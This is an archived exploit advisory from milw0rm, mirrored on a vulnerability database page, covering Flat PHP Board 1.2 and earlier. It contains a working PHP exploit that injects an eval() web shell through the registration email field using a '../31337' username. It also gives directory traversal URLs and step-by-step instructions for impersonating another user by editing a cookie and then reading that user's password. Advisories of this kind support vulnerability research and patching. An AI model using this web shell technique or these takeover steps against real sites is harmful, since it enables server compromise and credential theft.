Lucene search
K

Flat PHP Board <= 1.2 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Flat PHP Board <= 1.2 - Multiple Vulnerabilities. Remote User Credentials Disclosure, Remote Command Executions, File Uploading, Directory Traversal, Source Disclosure, Cookie Manipulatio

Code

                                                ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  &#60;_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  &#62;__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Flat PHP Board &#60;= 1.2 Multiple Vulnerabilities

---------------------------------------------------------------

#By KiNgOfThEwOrLd				

---------------------------------------------------------------
Remote User Credentials Disclosure

PoC:

No much to say...an attacker can get his target&#39;s informations visiting http://
[target]/[flat_php_board_path]/users/[target_username].php

The informations will be showed in this way:

[username] [password] [email]
---------------------------------------------------------------
Multiple Remote Command Executions / File Uploading

PoC:

When we register a new account, flat php board make a file like /users/
[username].php
All the fields (Username, Password, Email) are not correctly filtred. Then, an 
attacker can executes a malicious code on the vulnerable server.

Exploit:

&#60;?
//Usage: 31337.php?targ=http://[target]/[flat_php_board_path]
$targ = $_GET[&#39;targ&#39;];
echo &#39;
&#60;form action=index.php method=post&#62;
&#60;input type=hidden name=&#34;username&#34; value=&#34;../31337&#34;&#62;
&#60;input type=hidden name=a value=register2&#62;
&#60;input name=&#34;password&#34; type=hidden value=&#34;r0x&#34;&#62;
&#60;input name=&#34;password2&#34; type=hidden value=&#34;r0x&#34;&#62;
&#60;input name=&#34;email&#34; value=&#34;&#60;?eval(html_entity_decode(stripslashes($_GET
[r0x])));?&#62;&#34;&#62;
&#60;input type=submit value=&#34;Exploit!&#34;&#62;
&#60;/form&#62;&#39;;
/*
This will make a shell in http://[target]/[flat_php_board_path]/31337.php
Usage: http://[target]/[flat_php_board_path]/31337.php?r0x=[php_code]
*/
?&#62;

Nb. also all the fields of index.php?a=profile is not correctly parsed.
---------------------------------------------------------------
Remote Directory Traversal / Source Disclosure

http://[target]/[flat_php_board_path]index.php?a=topic&topic=../[arbitrary php 
file]

http://[target]/[flat_php_board_path]index.php?a=viewprofile&username=../
[arbitrary php file]
---------------------------------------------------------------
Remote Cookie Manipoulation / Privilege Escalation

PoC:

An attacker can login with an arbitrary account editing the fpb_username 
cookie.

In fact, if you try to replace your username with your target username and 
refresh, you will be logged in like him. But now, if you try to edit your 
profile or something like that, you will generate an error like:

Error with cookies. password/username not correct.

Don&#39;t worry, if you go to index.php?a=profile you will find your victim 
credentials. Then, viewing the source code you can view your victim password 
as:

&#60;td bgcolor=#f9f9f9&#62;&#60;font face=&#34;verdana&#34; size=2&#62;Password:&#60;/font&#62;&#60;/td&#62;
&#60;td bgcolor=#f9f9f9&#62;&#60;input name=&#34;password&#34; type=password value=&#34;[password]&#34;
&#62; &#62;&#60;/td&#62;
---------------------------------------------------------------	
Ok, i think that&#39;s all :S
---------------------------------------------------------------

# milw0rm.com [2007-12-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation